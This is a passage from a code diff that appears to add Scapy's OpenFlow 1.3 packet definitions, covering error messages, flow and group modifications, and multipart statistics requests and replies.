ofp_error_type), + ShortEnumField("errcode", 0, {0: "OFPFMFC_UNKNOWN", + 1: "OFPFMFC_TABLE_FULL", + 2: "OFPFMFC_BAD_TABLE_ID", + 3: "OFPFMFC_OVERLAP", + 4: "OFPFMFC_EPERM", + 5: "OFPFMFC_BAD_TIMEOUT", + 6: "OFPFMFC_BAD_COMMAND", + 7: "OFPFMFC_BAD_FLAGS"}), + OFPacketField("data", "", Raw)] + + +class OFPETGroupModFailed(_ofp_header): + name = "OFPET_GROUP_MOD_FAILED" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 1, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("errtype", 6, ofp_error_type), + ShortEnumField("errcode", 0, {0: "OFPGMFC_GROUP_EXISTS", + 1: "OFPGMFC_INVALID_GROUP", + 2: "OFPGMFC_WEIGHT_UNSUPPORTED", # noqa: E501 + 3: "OFPGMFC_OUT_OF_GROUPS", + 4: "OFPGMFC_OUT_OF_BUCKETS", + 5: "OFPGMFC_CHAINING_UNSUPPORTED", # noqa: E501 + 6: "OFPGMFC_WATCH_UNSUPPORTED", # noqa: E501 + 7: "OFPGMFC_LOOP", + 8: "OFPGMFC_UNKNOWN_GROUP", + 9: "OFPGMFC_CHAINED_GROUP", + 10: "OFPGMFC_BAD_TYPE", + 11: "OFPGMFC_BAD_COMMAND", + 12: "OFPGMFC_BAD_BUCKET", + 13: "OFPGMFC_BAD_WATCH", + 14: "OFPFMFC_EPERM"}), + OFPacketField("data", "", Raw)] + + +class OFPETPortModFailed(_ofp_header): + name = "OFPET_PORT_MOD_FAILED" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 1, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("errtype", 7, ofp_error_type), + ShortEnumField("errcode", 0, {0: "OFPPMFC_BAD_PORT", + 1: "OFPPMFC_BAD_HW_ADDR", + 2: "OFPPMFC_BAD_CONFIG", + 3: "OFPPMFC_BAD_ADVERTISE", + 4: "OFPPMFC_EPERM"}), + OFPacketField("data", "", Raw)] + + +class OFPETTableModFailed(_ofp_header): + name = "OFPET_TABLE_MOD_FAILED" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 1, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("errtype", 8, ofp_error_type), + ShortEnumField("errcode", 0, {0: "OFPTMFC_BAD_TABLE", + 1: "OFPTMFC_BAD_CONFIG", + 2: "OFPTMFC_EPERM"}), + OFPacketField("data", "", Raw)] + + +class OFPETQueueOpFailed(_ofp_header): + name = "OFPET_QUEUE_OP_FAILED" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 1, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("errtype", 9, ofp_error_type), + ShortEnumField("errcode", 0, {0: "OFPQOFC_BAD_PORT", + 1: "OFPQOFC_BAD_QUEUE", + 2: "OFPQOFC_EPERM"}), + OFPacketField("data", "", Raw)] + + +class OFPETSwitchConfigFailed(_ofp_header): + name = "OFPET_SWITCH_CONFIG_FAILED" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 1, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("errtype", 10, ofp_error_type), + ShortEnumField("errcode", 0, {0: "OFPSCFC_BAD_FLAGS", + 1: "OFPSCFC_BAD_LEN", + 2: "OFPSCFC_EPERM"}), + OFPacketField("data", "", Raw)] + + +class OFPETRoleRequestFailed(_ofp_header): + name = "OFPET_ROLE_REQUEST_FAILED" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 1, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("errtype", 11, ofp_error_type), + ShortEnumField("errcode", 0, {0: "OFPRRFC_STALE", + 1: "OFPRRFC_UNSUP", + 2: "OFPRRFC_BAD_ROLE"}), + OFPacketField("data", "", Raw)] + + +class OFPETMeterModFailed(_ofp_header): + name = "OFPET_METER_MOD_FAILED" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 1, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("errtype", 12, ofp_error_type), + ShortEnumField("errcode", 0, {0: "OFPMMFC_UNKNOWN", + 1: "OFPMMFC_METER_EXISTS", + 2: "OFPMMFC_INVALID_METER", + 3: "OFPMMFC_UNKNOWN_METER", + 4: "OFPMMFC_BAD_COMMAND", + 5: "OFPMMFC_BAD_FLAGS", + 6: "OFPMMFC_BAD_RATE", + 7: "OFPMMFC_BAD_BURST", + 8: "OFPMMFC_BAD_BAND", + 9: "OFPMMFC_BAD_BAND_VALUE", + 10: "OFPMMFC_OUT_OF_METERS", + 11: "OFPMMFC_OUT_OF_BANDS"}), + OFPacketField("data", "", Raw)] + + +class OFPETTableFeaturesFailed(_ofp_header): + name = "OFPET_TABLE_FEATURES_FAILED" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 1, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("errtype", 13, ofp_error_type), + ShortEnumField("errcode", 0, {0: "OFPTFFC_BAD_TABLE", + 1: "OFPTFFC_BAD_METADATA", + 2: "OFPTFFC_BAD_TYPE", + 3: "OFPTFFC_BAD_LEN", + 4: "OFPTFFC_BAD_ARGUMENT", + 5: "OFPTFFC_EPERM"}), + OFPacketField("data", "", Raw)] + + +class OFPETExperimenter(_ofp_header): + name = "OFPET_EXPERIMENTER" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 1, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("errtype", "OFPET_EXPERIMENTER", ofp_error_type), # noqa: E501 + ShortField("exp_type", None), + IntField("experimenter", None), + OFPacketField("data", "", Raw)] + + +# ofp_error_cls allows generic method OpenFlow3() +# to choose the right class for dissection +ofp_error_cls = {0: OFPETHelloFailed, + 1: OFPETBadRequest, + 2: OFPETBadAction, + 3: OFPETBadInstruction, + 4: OFPETBadMatch, + 5: OFPETFlowModFailed, + 6: OFPETGroupModFailed, + 7: OFPETPortModFailed, + 8: OFPETTableModFailed, + 9: OFPETQueueOpFailed, + 10: OFPETSwitchConfigFailed, + 11: OFPETRoleRequestFailed, + 12: OFPETMeterModFailed, + 13: OFPETTableFeaturesFailed, + 65535: OFPETExperimenter} + +# end of OFPT_ERRORS # + + +class OFPTEchoRequest(_ofp_header): + name = "OFPT_ECHO_REQUEST" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 2, ofp_type), + ShortField("len", None), + IntField("xid", 0)] + + +class OFPTEchoReply(_ofp_header): + name = "OFPT_ECHO_REPLY" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 3, ofp_type), + ShortField("len", None), + IntField("xid", 0)] + + +class OFPTExperimenter(_ofp_header): + name = "OFPT_EXPERIMENTER" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 4, ofp_type), + ShortField("len", None), + IntField("xid", 0), + IntField("experimenter", 0), + IntField("exp_type", 0)] + + +class OFPTFeaturesRequest(_ofp_header): + name = "OFPT_FEATURES_REQUEST" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 5, ofp_type), + ShortField("len", None), + IntField("xid", 0)] + + +class OFPTFeaturesReply(_ofp_header): + name = "OFPT_FEATURES_REPLY" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 6, ofp_type), + ShortField("len", None), + IntField("xid", 0), + LongField("datapath_id", 0), + IntField("n_buffers", 0), + ByteField("n_tables", 1), + ByteField("auxiliary_id", 0), + XShortField("pad", 0), + FlagsField("capabilities", 0, 32, ["FLOW_STATS", + "TABLE_STATS", + "PORT_STATS", + "GROUP_STATS", + "RESERVED", # undefined + "IP_REASM", + "QUEUE_STATS", + "ARP_MATCH_IP", # undefined # noqa: E501 + "PORT_BLOCKED"]), + IntField("reserved", 0)] + + +class OFPTGetConfigRequest(_ofp_header): + name = "OFPT_GET_CONFIG_REQUEST" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 7, ofp_type), + ShortField("len", None), + IntField("xid", 0)] + + +class OFPTGetConfigReply(_ofp_header): + name = "OFPT_GET_CONFIG_REPLY" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 8, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("flags", 0, {0: "FRAG_NORMAL", + 1: "FRAG_DROP", + 2: "FRAG_REASM", + 3: "FRAG_MASK"}), + ShortField("miss_send_len", 0)] + + +class OFPTSetConfig(_ofp_header): + name = "OFPT_SET_CONFIG" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 9, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("flags", 0, {0: "FRAG_NORMAL", + 1: "FRAG_DROP", + 2: "FRAG_REASM", + 3: "FRAG_MASK"}), + ShortField("miss_send_len", 128)] + + +class OFPTPacketIn(_ofp_header): + name = "OFPT_PACKET_IN" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 10, ofp_type), + ShortField("len", None), + IntField("xid", 0), + IntEnumField("buffer_id", "NO_BUFFER", ofp_buffer), + ShortField("total_len", 0), + ByteEnumField("reason", 0, {0: "OFPR_NO_MATCH", + 1: "OFPR_ACTION", + 2: "OFPR_INVALID_TTL"}), + ByteEnumField("table_id", 0, ofp_table), + LongField("cookie", 0), + MatchField("match"), + XShortField("pad", 0), + PacketField("data", "", Ether)] + + +class OFPTFlowRemoved(_ofp_header): + name = "OFPT_FLOW_REMOVED" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 11, ofp_type), + ShortField("len", None), + IntField("xid", 0), + LongField("cookie", 0), + ShortField("priority", 0), + ByteEnumField("reason", 0, {0: "OFPRR_IDLE_TIMEOUT", + 1: "OFPRR_HARD_TIMEOUT", + 2: "OFPRR_DELETE", + 3: "OFPRR_GROUP_DELETE"}), + ByteEnumField("table_id", 0, ofp_table), + IntField("duration_sec", 0), + IntField("duration_nsec", 0), + ShortField("idle_timeout", 0), + ShortField("hard_timeout", 0), + LongField("packet_count", 0), + LongField("byte_count", 0), + MatchField("match")] + + +class OFPTPortStatus(_ofp_header): + name = "OFPT_PORT_STATUS" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 12, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ByteEnumField("reason", 0, {0: "OFPPR_ADD", + 1: "OFPPR_DELETE", + 2: "OFPPR_MODIFY"}), + XBitField("pad", 0, 56), + PacketField("desc", OFPPort(), OFPPort)] + + +class OFPTPacketOut(_ofp_header): + name = "OFPT_PACKET_OUT" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 13, ofp_type), + ShortField("len", None), + IntField("xid", 0), + IntEnumField("buffer_id", "NO_BUFFER", ofp_buffer), + IntEnumField("in_port", "CONTROLLER", ofp_port_no), + FieldLenField("actions_len", None, fmt="H", length_of="actions"), # noqa: E501 + XBitField("pad", 0, 48), + PacketListField("actions", [], OFPAT, + OFPAT, + length_from=lambda pkt:pkt.actions_len), + PacketField("data", "", Ether)] + + +class OFPTFlowMod(_ofp_header): + name = "OFPT_FLOW_MOD" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 14, ofp_type), + ShortField("len", None), + IntField("xid", 0), + LongField("cookie", 0), + LongField("cookie_mask", 0), + ByteEnumField("table_id", 0, ofp_table), + ByteEnumField("cmd", 0, {0: "OFPFC_ADD", + 1: "OFPFC_MODIFY", + 2: "OFPFC_MODIFY_STRICT", + 3: "OFPFC_DELETE", + 4: "OFPFC_DELETE_STRICT"}), + ShortField("idle_timeout", 0), + ShortField("hard_timeout", 0), + ShortField("priority", 0), + IntEnumField("buffer_id", "NO_BUFFER", ofp_buffer), + IntEnumField("out_port", "ANY", ofp_port_no), + IntEnumField("out_group", "ANY", ofp_group), + FlagsField("flags", 0, 16, ["SEND_FLOW_REM", + "CHECK_OVERLAP", + "RESET_COUNTS", + "NO_PKT_COUNTS", + "NO_BYT_COUNTS"]), + XShortField("pad", 0), + MatchField("match"), + PacketListField("instructions", [], OFPIT, + length_from=lambda pkt:pkt.len - 48 - (pkt.match.len + (8 - pkt.match.len % 8) % 8))] # noqa: E501 + # include match padding to match.len + + +class OFPTGroupMod(_ofp_header): + name = "OFPT_GROUP_MOD" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 15, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("cmd", 0, {0: "OFPGC_ADD", + 1: "OFPGC_MODIFY", + 2: "OFPGC_DELETE"}), + ByteEnumField("group_type", 0, {0: "OFPGT_ALL", + 1: "OFPGT_SELECT", + 2: "OFPGT_INDIRECT", + 3: "OFPGT_FF"}), + XByteField("pad", 0), + IntEnumField("group_id", 0, ofp_group), + PacketListField("buckets", [], OFPBucket, + length_from=lambda pkt:pkt.len - 16)] + + +class OFPTPortMod(_ofp_header): + name = "OFPT_PORT_MOD" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 16, ofp_type), + ShortField("len", None), + IntField("xid", 0), + IntEnumField("port_no", 0, ofp_port_no), + XIntField("pad1", 0), + MACField("hw_addr", "0"), + XShortField("pad2", 0), + FlagsField("config", 0, 32, ofp_port_config), + FlagsField("mask", 0, 32, ofp_port_config), + FlagsField("advertise", 0, 32, ofp_port_features), + XIntField("pad3", 0)] + + +class OFPTTableMod(_ofp_header): + name = "OFPT_TABLE_MOD" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 17, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ByteEnumField("table_id", 0, ofp_table), + X3BytesField("pad", 0), + IntEnumField("config", 0, {3: "OFPTC_DEPRECATED_MASK"})] + + +##################################################### +# OFPT_MULTIPART # +##################################################### + + +ofp_multipart_types = {0: "OFPMP_DESC", + 1: "OFPMP_FLOW", + 2: "OFPMP_AGGREGATE", + 3: "OFPMP_TABLE", + 4: "OFPMP_PORT_STATS", + 5: "OFPMP_QUEUE", + 6: "OFPMP_GROUP", + 7: "OFPMP_GROUP_DESC", + 8: "OFPMP_GROUP_FEATURES", + 9: "OFPMP_METER", + 10: "OFPMP_METER_CONFIG", + 11: "OFPMP_METER_FEATURES", + 12: "OFPMP_TABLE_FEATURES", + 13: "OFPMP_PORT_DESC", + 65535: "OFPST_VENDOR"} + +ofpmp_request_flags = ["REQ_MORE"] + +ofpmp_reply_flags = ["REPLY_MORE"] + + +class OFPMPRequestDesc(_ofp_header): + name = "OFPMP_REQUEST_DESC" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 18, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("mp_type", 0, ofp_multipart_types), + FlagsField("flags", 0, 16, ofpmp_request_flags), + XIntField("pad", 0)] + + +class OFPMPReplyDesc(_ofp_header): + name = "OFPMP_REPLY_DESC" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 19, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("mp_type", 0, ofp_multipart_types), + FlagsField("flags", 0, 16, ofpmp_reply_flags), + XIntField("pad", 0), + StrFixedLenField("mfr_desc", "", 256), + StrFixedLenField("hw_desc", "", 256), + StrFixedLenField("sw_desc", "", 256), + StrFixedLenField("serial_num", "", 32), + StrFixedLenField("dp_desc", "", 256)] + + +class OFPMPRequestFlow(_ofp_header): + name = "OFPMP_REQUEST_FLOW" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 18, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("mp_type", 1, ofp_multipart_types), + FlagsField("flags", 0, 16, ofpmp_request_flags), + XIntField("pad1", 0), + ByteEnumField("table_id", "ALL", ofp_table), + X3BytesField("pad2", 0), + IntEnumField("out_port", "ANY", ofp_port_no), + IntEnumField("out_group", "ANY", ofp_group), + IntField("pad3", 0), + LongField("cookie", 0), + LongField("cookie_mask", 0), + MatchField("match")] + + +class OFPFlowStats(_ofp_header_item): + name = "OFP_FLOW_STATS" + fields_desc = [ShortField("len", None), + ByteEnumField("table_id", 0, ofp_table), + XByteField("pad1", 0), + IntField("duration_sec", 0), + IntField("duration_nsec", 0), + ShortField("priority", 0), + ShortField("idle_timeout", 0), + ShortField("hard_timeout", 0), + FlagsField("flags", 0, 16, ["SEND_FLOW_REM", + "CHECK_OVERLAP", + "RESET_COUNTS", + "NO_PKT_COUNTS", + "NO_BYT_COUNTS"]), + IntField("pad2", 0), + LongField("cookie", 0), + LongField("packet_count", 0), + LongField("byte_count", 0), + MatchField("match"), + PacketListField("instructions", [], OFPIT, + length_from=lambda pkt:pkt.len - 56 - pkt.match.len)] # noqa: E501 + + def extract_padding(self, s): + return b"", s + + +class OFPMPReplyFlow(_ofp_header): + name = "OFPMP_REPLY_FLOW" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 19, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("mp_type", 1, ofp_multipart_types), + FlagsField("flags", 0, 16, ofpmp_reply_flags), + XIntField("pad1", 0), + PacketListField("flow_stats", [], OFPFlowStats, + length_from=lambda pkt:pkt.len - 16)] + + +class OFPMPRequestAggregate(OFPMPRequestFlow): + name = "OFPMP_REQUEST_AGGREGATE" + mp_type = 2 + + +class OFPMPReplyAggregate(_ofp_header): + name = "OFPMP_REPLY_AGGREGATE" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 19, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("mp_type", 2, ofp_multipart_types), + FlagsField("flags", 0, 16, ofpmp_reply_flags), + XIntField("pad1", 0), + LongField("packet_count", 0), + LongField("byte_count", 0), + IntField("flow_count", 0), + XIntField("pad2", 0)] + + +class OFPMPRequestTable(_ofp_header): + name = "OFPMP_REQUEST_TABLE" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 18, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("mp_type", 3, ofp_multipart_types), + FlagsField("flags", 0, 16, ofpmp_request_flags), + XIntField("pad1", 0)] + + +class OFPTableStats(Packet): + name = "OFP_TABLE_STATS" + fields_desc = [ByteEnumField("table_id", 0, ofp_table), + X3BytesField("pad1", 0), + IntField("active_count", 0), + LongField("lookup_count", 0), + LongField("matched_count", 0)] + + def extract_padding(self, s): + return b"", s + + +class OFPMPReplyTable(_ofp_header): + name = "OFPMP_REPLY_TABLE" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 19, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("mp_type", 3, ofp_multipart_types), + FlagsField("flags", 0, 16, ofpmp_reply_flags), + XIntField("pad1", 0), + PacketListField("table_stats", None, OFPTableStats, + length_from=lambda pkt:pkt.len - 16)] + + +class OFPMPRequestPortStats(_ofp_header): + name = "OFPMP_REQUEST_PORT_STATS" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 18, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("mp_type", 4, ofp_multipart_types), + FlagsField("flags", 0, 16, ofpmp_request_flags), + XIntField("pad1", 0), + IntEnumField("port_no", "ANY", ofp_port_no), + XIntField("pad", 0)] + + +class OFPPortStats(Packet): + def extract_padding(self, s): + return b"", s + name = "OFP_PORT_STATS" + fields_desc = [IntEnumField("port_no", 0, ofp_port_no), + XIntField("pad", 0), + LongField("rx_packets", 0), + LongField("tx_packets", 0), + LongField("rx_bytes", 0), + LongField("tx_bytes", 0), + LongField("rx_dropped", 0), + LongField("tx_dropped", 0), + LongField("rx_errors", 0), + LongField("tx_errors", 0), + LongField("rx_frame_err", 0), + LongField("rx_over_err", 0), + LongField("rx_crc_err", 0), + LongField("collisions", 0), + IntField("duration_sec", 0), + IntField("duration_nsec", 0)] + + +class OFPMPReplyPortStats(_ofp_header): + name = "OFPMP_REPLY_PORT_STATS" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 19, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("mp_type", 4, ofp_multipart_types), + FlagsField("flags", 0, 16, ofpmp_reply_flags), + XIntField("pad1", 0), + PacketListField("port_stats", None, OFPPortStats, + length_from=lambda pkt:pkt.len - 16)] + + +class OFPMPRequestQueue(_ofp_header): + name = "OFPMP_REQUEST_QUEUE" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 18, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("mp_type", 5, ofp_multipart_types), + FlagsField("flags", 0, 16, ofpmp_request_flags), + XIntField("pad1", 0), + IntEnumField("port_no", "ANY", ofp_port_no), + IntEnumField("queue_id", "ALL", ofp_queue)] + + +class OFPQueueStats(Packet): + name = "OFP_QUEUE_STATS" + fields_desc = [IntEnumField("port_no", 0, ofp_port_no), + IntEnumField("queue_id", 0, ofp_queue), + LongField("tx_bytes", 0), + LongField("tx_packets", 0), + LongField("tx_errors", 0), + IntField("duration_sec", 0), + IntField("duration_nsec", 0)] + + def extract_padding(self, s): + return b"", s + + +class OFPMPReplyQueue(_ofp_header): + name = "OFPMP_REPLY_QUEUE" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 19, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("mp_type", 5, ofp_multipart_types), + FlagsField("flags", 0, 16, ofpmp_reply_flags), + XIntField("pad1", 0), + PacketListField("queue_stats", None, OFPQueueStats, + length_from=lambda pkt:pkt.len - 16)] + + +class OFPMPRequestGroup(_ofp_header): + name = "OFPMP_REQUEST_GROUP" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 18, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("mp_type", 6, ofp_multipart_types), + FlagsField("flags", 0, 16, ofpmp_request_flags), + XIntField("pad1", 0), + IntEnumField("group_id", "ANY", ofp_group), + XIntField("pad2", 0)] + + +class OFPBucketStats(Packet): + name = "OFP_BUCKET_STATS" + fields_desc = [LongField("packet_count", 0), + LongField("byte_count", 0)] + + def extract_padding(self, s): + return b"", s + + +class OFPGroupStats(_ofp_header_item): + name = "OFP_GROUP_STATS" + fields_desc = [ShortField("len", None), + XShortField("pad1", 0), + IntEnumField("group_id", 0, ofp_group), + IntField("ref_count", 0), + IntField("pad2", 0), + LongField("packet_count", 0), + LongField("byte_count", 0), + IntField("duration_sec", 0), + IntField("duration_nsec", 0), + PacketListField("bucket_stats", None, OFPBucketStats, + length_from=lambda pkt:pkt.len - 40)] + + def extract_padding(self, s): + return b"", s + + +class OFPMPReplyGroup(_ofp_header): + name = "OFPMP_REPLY_GROUP" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 19, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("mp_type", 6, ofp_multipart_types), + FlagsField("flags", 0, 16, ofpmp_reply_flags), + XIntField("pad1", 0), + PacketListField("group_stats", [], OFPGroupStats, + length_from=lambda pkt:pkt.len - 16)] + + +class OFPMPRequestGroupDesc(_ofp_header): + name = "OFPMP_REQUEST_GROUP_DESC" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 18, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("mp_type", 7, ofp_multipart_types), + FlagsField("flags", 0, 16, ofpmp_request_flags), + XIntField("pad1", 0)] + + +class OFPGroupDesc(_ofp_header_item): + name = "OFP_GROUP_DESC" + fields_desc = [ShortField("len", None), + ByteEnumField("type", 0, {0: "OFPGT_ALL", + 1: "OFPGT_SELECT", + 2: "OFPGT_INDIRECT", + 3: "OFPGT_FF"}), + XByteField("pad", 0), + IntEnumField("group_id", 0, ofp_group), + PacketListField("buckets", None, OFPBucket, + length_from=lambda pkt: pkt.len - 8)] + + def extract_padding(self, s): + return b"", s + + +class OFPMPReplyGroupDesc(_ofp_header): + name = "OFPMP_REPLY_GROUP_DESC" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 19, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("mp_type", 7, ofp_multipart_types), + FlagsField("flags", 0, 16, ofpmp_reply_flags), + XIntField("pad1", 0), + PacketListField("group_descs", [], OFPGroupDesc, + length_from=lambda pkt:pkt.len - 16)] + + +class OFPMPRequestGroupFeatures(_ofp_header): + name = "OFPMP_REQUEST_GROUP_FEATURES" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 18, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("mp_type", 8, ofp_multipart_types), + FlagsField("flags", 0, 16, ofpmp_request_flags), + XIntField("pad1", 0)] + + +ofp_action_types_flags = [v for v in six.itervalues(ofp_action_types) + if v != 'OFPAT_EXPERIMENTER'] + + +class OFPMPReplyGroupFeatures(_ofp_header): + name = "OFPMP_REPLY_GROUP_FEATURES" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 19, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("mp_type", 8, ofp_multipart_types), + FlagsField("flags", 0, 16, ofpmp_reply_flags), + XIntField("pad1", 0), + FlagsField("types", 0, 32, ["ALL", + "SELECT", + "INDIRECT", + "FF"]), + FlagsField("capabilities", 0, 32, ["SELECT_WEIGHT", + "SELECT_LIVENESS", + "CHAINING", + "CHAINING_CHECKS"]), + IntField("max_group_all", 0), + IntField("max_group_select", 0), + IntField("max_group_indirect", 0), + IntField("max_group_ff", 0), + # no ofpat_experimenter flag + FlagsField("actions_all", 0, 32, ofp_action_types_flags), + FlagsField("actions_select", 0, 32, ofp_action_types_flags), + FlagsField("actions_indirect", 0, 32, ofp_action_types_flags), # noqa: E501 + FlagsField("actions_ff", 0, 32, ofp_action_types_flags)] + + +class OFPMPRequestMeter(_ofp_header): + name = "OFPMP_REQUEST_METER" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 18, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("mp_type", 9, ofp_multipart_types), + FlagsField("flags", 0, 16, ofpmp_request_flags), + XIntField("pad1", 0), + IntEnumField("meter_id", "ALL", ofp_meter), + XIntField("pad2", 0)] + + +class OFPMeterBandStats(Packet): + name = "OFP_METER_BAND_STATS" + fields_desc = [LongField("packet_band_count", 0), + LongField("byte_band_count", 0)] + + def extract_padding(self, s): + return b"", s + + +class OFPMeterStats(Packet): + name = "OFP_GROUP_STATS" + fields_desc = [IntEnumField("meter_id", 1, ofp_meter), + ShortField("len", None), + XBitField("pad", 0, 48), + IntField("flow_count", 0), + LongField("packet_in_count", 0), + LongField("byte_in_count", 0), + IntField("duration_sec", 0), + IntField("duration_nsec", 0), + PacketListField("band_stats", None, OFPMeterBandStats, + length_from=lambda pkt:pkt.len - 40)] + + def post_build(self, p, pay): + if self.len is None: + tmp_len = len(p) + len(pay) + p = p[:4] + struct.pack("!H", tmp_len) + p[6:] + return p + pay + + def extract_padding(self, s): + return b"", s + + +class OFPMPReplyMeter(_ofp_header): + name = "OFPMP_REPLY_METER" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 19, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("mp_type", 9, ofp_multipart_types), + FlagsField("flags", 0, 16, ofpmp_reply_flags), + XIntField("pad1", 0), + PacketListField("meter_stats", [], OFPMeterStats, + length_from=lambda pkt:pkt.len - 16)] + + +class OFPMPRequestMeterConfig(_ofp_header): + name = "OFPMP_REQUEST_METER_CONFIG" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 18, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("mp_type", 10, ofp_multipart_types), + FlagsField("flags", 0, 16, ofpmp_request_flags), + XIntField("pad1", 0), + IntEnumField("meter_id", "ALL", ofp_meter), + XIntField("pad2", 0)] + + +class OFPMeterConfig(_ofp_header_item): + name = "OFP_METER_CONFIG" + fields_desc = [ShortField("len", None), + FlagsField("flags", 0, 16, ["KBPS", + "PKTPS", + "BURST", + "STATS"]), + IntEnumField("meter_id", 1, ofp_meter), + PacketListField("bands", [], OFPMBT, + length_from=lambda pkt:pkt.len - 8)] + + def extract_padding(self, s): + return b"", s + + +class OFPMPReplyMeterConfig(_ofp_header): + name = "OFPMP_REPLY_METER_CONFIG" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 19, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("mp_type", 10, ofp_multipart_types), + FlagsField("flags", 0, 16, ofpmp_reply_flags), + XIntField("pad1", 0), + PacketListField("meter_configs", [], OFPMeterConfig, + length_from=lambda pkt:pkt.len - 16)] + + +class OFPMPRequestMeterFeatures(_ofp_header): + name = "OFPMP_REQUEST_METER_FEATURES" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 18, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("mp_type", 11, ofp_multipart_types), + FlagsField("flags", 0, 16, ofpmp_request_flags), + XIntField("pad1", 0)] + + +class OFPMPReplyMeterFeatures(_ofp_header): + name = "OFPMP_REPLY_METER_FEATURES" + fields_desc = 